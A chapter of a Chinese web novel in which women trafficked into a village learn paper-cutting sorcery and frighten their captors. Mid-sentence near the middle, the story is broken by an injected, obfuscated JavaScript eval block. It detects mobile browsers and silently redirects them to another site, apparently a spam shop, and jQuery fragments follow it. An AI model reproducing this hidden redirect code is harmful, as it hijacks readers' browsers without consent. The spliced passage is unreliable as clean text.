纸鸟归来时，轻轻落在窗台上，歪着头，用那对鲜红的眼睛望着我。我伸出手，它便跳上掌心，化作了一团纸灰。


    灰烬里藏着细小的信息，几个地名，几个时间。


    “春梅愿见。”我轻声念出第一个名字，指尖抚过灰烬上浮现的痕迹，“明夜子时，张山家柴房后。”


    朱阿绣站在我身后，呼吸轻微：“她们回了？”


    “嗯。”我将灰烬碾碎在手心，“恐惧到极致时，一丝光都愿意抓住。”


    第二夜，我和朱阿绣潜到张山家后院。


    柴房锁着，但正如地图所记，窗板早已腐朽。我用剪刀撬开一道缝，潮湿的霉味扑鼻而来。里面传来窸窣声，接着是一双眼睛在黑暗中亮起。


    “谁？”声音很轻，颤抖着。


    “给你传信的人。”我压低声音。


    窗板被从里面推开，春梅的脸露出来。她瘦得颧骨突出，眼眶深陷，但那双眼睛里有种我没预料到的锐利。“纸鸟是你放的？”


    我点头。


    她盯着我看了很久，久到远处传来犬吠。然后她说：“算我一个。”


    我们挨家挨户地根据传回的名字走。


    哑女不会说话，但看见我剪的纸人在她掌心跳舞时，眼泪无声地滚下来。她用炭笔在地上写：“教我。”


    李寡妇摸到我的剪刀，枯瘦的手指细细抚过刃口。“我娘以前也有一把。”她说，语气里透着激动。


    我们很快便在后山废弃的防空洞里聚齐了十二个女人。


    最小的十六，最大的四十二。她们挤在狭小的空间里，呼吸交织成一片压抑的潮汐。煤油灯的光跳动着，在每张脸上投下摇曳的阴影。


    我站在洞道中央，取出母亲那柄剪刀。


    “这不是普通的剪刀。”我说，声音在石壁间回荡，“它能剪纸，也能剪断束缚你们的线。”


    春梅问：“线？”


    “傀术的根本，是看见那些看不见的线。”我让剪刀在指尖转过一圈，“每个人身上都缠着线，命运的线，控制的线，恐惧的线。张兴村的男人用暴力、用宗法、用祠堂里的铃铛，把线缠在你们身上，捆成死结。”


    我剪下一缕自己的头发，将它系在剪刀柄上：“今晚，我教你们看见这些线。”


    我让她们围坐成一圈，每人发一张黄纸，一捆细线，一把普通剪刀。先从最简单的形状开始剪起。


    “不要想。”我说，“让手自己去动。”


    洞道里很快响起细碎的剪纸声，有人剪得笨拙，纸的边缘参差不齐；有人手稳，圆弧特别流畅。哑女剪得最好，她剪的一道圆完美无缺，边缘光滑得像用规尺比过。


    我走到她身边，握住她的手。


    她的手很凉，掌心有厚厚的茧。我引导她的手指，在圆的中心剪出一个小小的旋涡。“这是眼。”我轻声说，“让它能看见。”


    哑女抬头看我，眼睛里有什么东西苏醒了。


    她们学会不久，我和朱阿绣再挨个将她们都送了回去。从此村里便多了一道名号：白仙姑。她们便借着求子的名义去庙内集结，再自学傀术。


    第三夜教学时，春梅第一个成功了。


    她剪的纸人只有巴掌大，粗糙得像个孩童的涂鸦。但当她把混了血液的朱砂画在纸人眼眶时，那纸人动了动，摇摇晃晃站了起来。


    “它活了……”春梅的声音在颤抖，不知是恐惧还是兴奋。


    纸人在她掌心走了两步，然后瘫倒，化作一堆碎纸。


    “只能活一炷香。”我说，“但够了。”


    “够做什么？”


    我看向洞口外漆黑的夜色：“够让那些男人做一场噩梦。”


    我们开始行动。


    不是大张旗鼓的反抗，而是悄无声息的渗透。春梅的纸人爬进张山的被子，在他耳边细语一整夜。次日张山眼底乌青，逢人便说梦见无数小手掐他脖子。


    哑女的纸人更精巧，她剪了一窝老鼠，放进张瘸子的米缸。老鼠不会叫，但会在夜里排成队，用空洞的眼眶“看”着他。张瘸子吓得以为见了妖精，精神恍惚了几日摔断了另一条好腿。


    李寡妇的纸人最特别，她剪了个女人，长发及腰，背对着。她把纸人贴在祠堂外墙，正对那桩锁魂的屋子。守夜的村人逢人便说，那几夜总听见女人哼歌，调子是外乡的，凄婉得很。


    恐惧在张兴村的村人间蔓延。


    他们不知道发生了什么，只觉这村子突然变得陌生。狗在半夜无故狂吠，井水忽然泛起了血腥味，晾晒的衣物无风自动。更可怕的是梦，每个人都做噩梦，梦见被无数眼睛盯着，梦见有细线缠上脖颈，越收越紧。


    有人在酒桌上摔了碗：“撞邪了！肯定是那些外乡女人带来的晦气！”


    没人接话。


    因为每个人心里都清楚，晦气不是从外面来的。它就生在这片土地里，长在这些年的罪孽中，如今不过是破土而出，开了花结了果。


    半个月后，我们有了第一批成果。


    十二个女人，七个能剪出活过一刻钟的纸人，三个能控制纸人做简单动作，哑女和李寡妇已能同时操纵两个。


    那晚教学结束，春梅没有立刻离开。她蹲在洞口，透过挡板看着远处村落的零星灯火。


    “白小姐。”她第一次这样郑重地叫我，“我男人……张山，昨晚跪着求我，说梦见我拿剪刀剪他命根子。”


    我没说话。


    “我问他怕什么。”春梅的声音很平静，“他说怕死。我说，我也怕死，但我更怕活得不像个人。”


    她转头看我，煤油灯的光在她脸上跳跃。“谢谢你，让我重新像个人。”


    朱阿绣那晚没来，我回去时，看见她屋里的灯还亮着。


    推门进去，她坐在炕边，手里握着一把梳子，慢慢梳着头发。镜子里的她面容沉静，眼神却深得像口井。


    “张信今日吐了一次血。”她说，梳子停在发梢，“大夫说，也就这几天了。”


    我在她身边坐下，伸出手轻轻抚过她的肩膀。


    她梳头的手顿了顿，“不用担心我，现在姑娘们一切都在朝好的方向发展，我很知足。”


    镜子里的她笑了笑，那笑容很淡，淡得像水面的波纹，一晃就散。


    张信死在三天后的清晨。


    那天天刚蒙蒙亮，朱阿绣来敲我的门。她穿一身素衣，头发整齐地挽着，脸上没有泪痕。


    “他走了。”她说，“走得很安静。”


    我跟她回了屋，张信躺在床上，被子盖到胸口，双手交叠。他瘦了很多，脸颊凹陷，眼睛睁得很大，嘴唇微微张着，像还有什么话没说。


    “他醒过？”我问道。


    朱阿绣轻轻点了点头：“对，没有遗憾了。”


    她站在床边，看了很久。然后弯下腰，伸手合上了张信的双眼。


    她的手指很稳，没有颤抖。


    转身时，她看见我，轻轻点了点头。那一刻我忽然明白，她不是在告别张信，而是在告别一段岁月，属于她和朱阿雀的苦难岁月。


    葬礼办得很简单。


    是朱阿绣临时在后山某处，找了块地起了个土包，搬着的石头没有刻任何的字，她说现在还不能刻。


    她跪在石头前烧着纸钱，纸灰飞扬起来，沾在她的素衣上，像黑色的雪。她一张张地烧，动作机械而平静。


    “白小姐。”她忽然开口，声音轻得几乎被纸钱燃烧的噼啪声淹没。


    “嗯？”


    “我们的头发，还在祠堂里。”她说。


    我看着她。


    “我想取回来。”她转过头，眼睛在纸火的映照下亮得惊人，“不是现在，是等我们事成之后。”


    我紧紧握住她的手，她的手很冷，但


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173012|190971||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    掌心有力量在凝聚。


    “好。”我说，“我们一起取。”


    张信死后的第七天，族老们聚集在了祠堂。


    我让春梅剪了只蛾子，翅膀薄得透明，贴在祠堂的窗纸上。蛾子的眼睛连着我的感知，我能听见里面的每一句话。


    “……必须查清楚！”大族老的声音嘶哑，“这段时间村里怪事不断……这里面肯定有问题！”


    “那些外乡女人！”另有族老几乎是吼出来的，“她们聚在一起，谁知道在搞什么鬼！我听说……听说白濯心那丫头，会些邪术！”


    “邪术？”大族老笑了，笑声干涩，“你也是识过几个字的，怎么信这些？白濯心就是会剪个纸，她娘当年不也这样？”


    “不一样！”那族老急急地说，“你们没发现吗？那些女人……她们看我们的眼神，不一样了！”


    这句话落下，祠堂里陷入长久的寂静。


    蛾子轻轻振动翅膀，我看见窗纸后的剪影，男人们或坐或站，但每个人都低着头，像是在沉思，又像是在恐惧。


    他们终于感觉到了。


    不是怪事，不是噩梦，而是更根本的东西。那些曾经低眉顺眼、打不还手骂不还口的女人，眼睛里重新有了光。那不是顺从的光，不是麻木的光，而是一种安静的，积蓄着力量、等待时机的光。


    那晚，我和朱阿绣召集了所有姐妹。


    还是在后山防空洞，但这次人多了，二十三个女人，挤满了整个洞道。新来的有些胆怯，缩在角落。早加入的已经挺直脊背，眼睛里有了不一样的神采。


    我站在她们面前，手里握着母亲的剪刀。


    “他们开始怀疑了。”我说得很直接，“那些族老在祠堂里说，我们在搞鬼。”


    春梅嗤笑一声：“搞鬼？我们只是在拿回本来就该有的东西。”


    “接下来会更难。”我看向每一张脸，“他们会试探，会打压，甚至可能用更狠的手段。怕的人，现在可以退出，我们不怪你们。”


    没有人动。


    哑女举起手，在地上写：“怕过，现在不怕了。”


    李寡妇说：“我在村子里怕了多年，怕够了。”


    朱阿绣站起来，走到我身边。


    “姐妹们。”她的声音很轻，但洞里静得能听见呼吸，“我们不是要逃。逃了，还会有下一个女人被拐进这里。”


    “我们要做的是留在这儿，留在这个折磨我们的地方，然后改变它。用白小姐教的傀术，用我们自己的手，把这座吃人的村子，变成我们的家。”


    她看向我，眼神坚定：“点睛吧，白小姐。”


    我取出未完成眼眶的绣鸟，咬破指尖。血珠渗出，我轻轻混在朱砂里抹在鸟的眼眶处。


    一点，再一点。


    绣鸟颤动起来，丝线一根根绷紧，翅膀缓缓展开，长长的尾羽无风自动。然后它扬起头，发出一声清越的鸣叫。


    它活了。


    真正的，完整的，从绣布上挣脱，在洞里盘旋飞翔。翅膀带起的风吹动女人们的头发，吹动煤油灯的火焰。它飞过每个人头顶，洒下细碎的光点，像星尘，像希望。


    女人们仰着头，看着它，眼睛里映着光。


    那一刻，我知道，我们成了。


    不是从前那群不知方向、很散乱的女人，而是一个整体。以我为中心，以傀术为纽带，以改变命运为共同目的的整体。


    绣鸟最后落在我肩头，收起翅膀，用丝线织成的喙轻轻蹭了蹭我的脸颊。


    我伸手抚摸它，触感温热，像真正的生命。


    “从今天起。”我声音不高，但每个字都清晰，“张兴村的女人，要兴盛下去了。”


    庙外，夜色正浓。


    但防空洞内，二十三个女人站在一起，肩并着肩。我们手中的剪刀在灯下泛着冷光，我们眼底的火在黑暗里静静燃烧。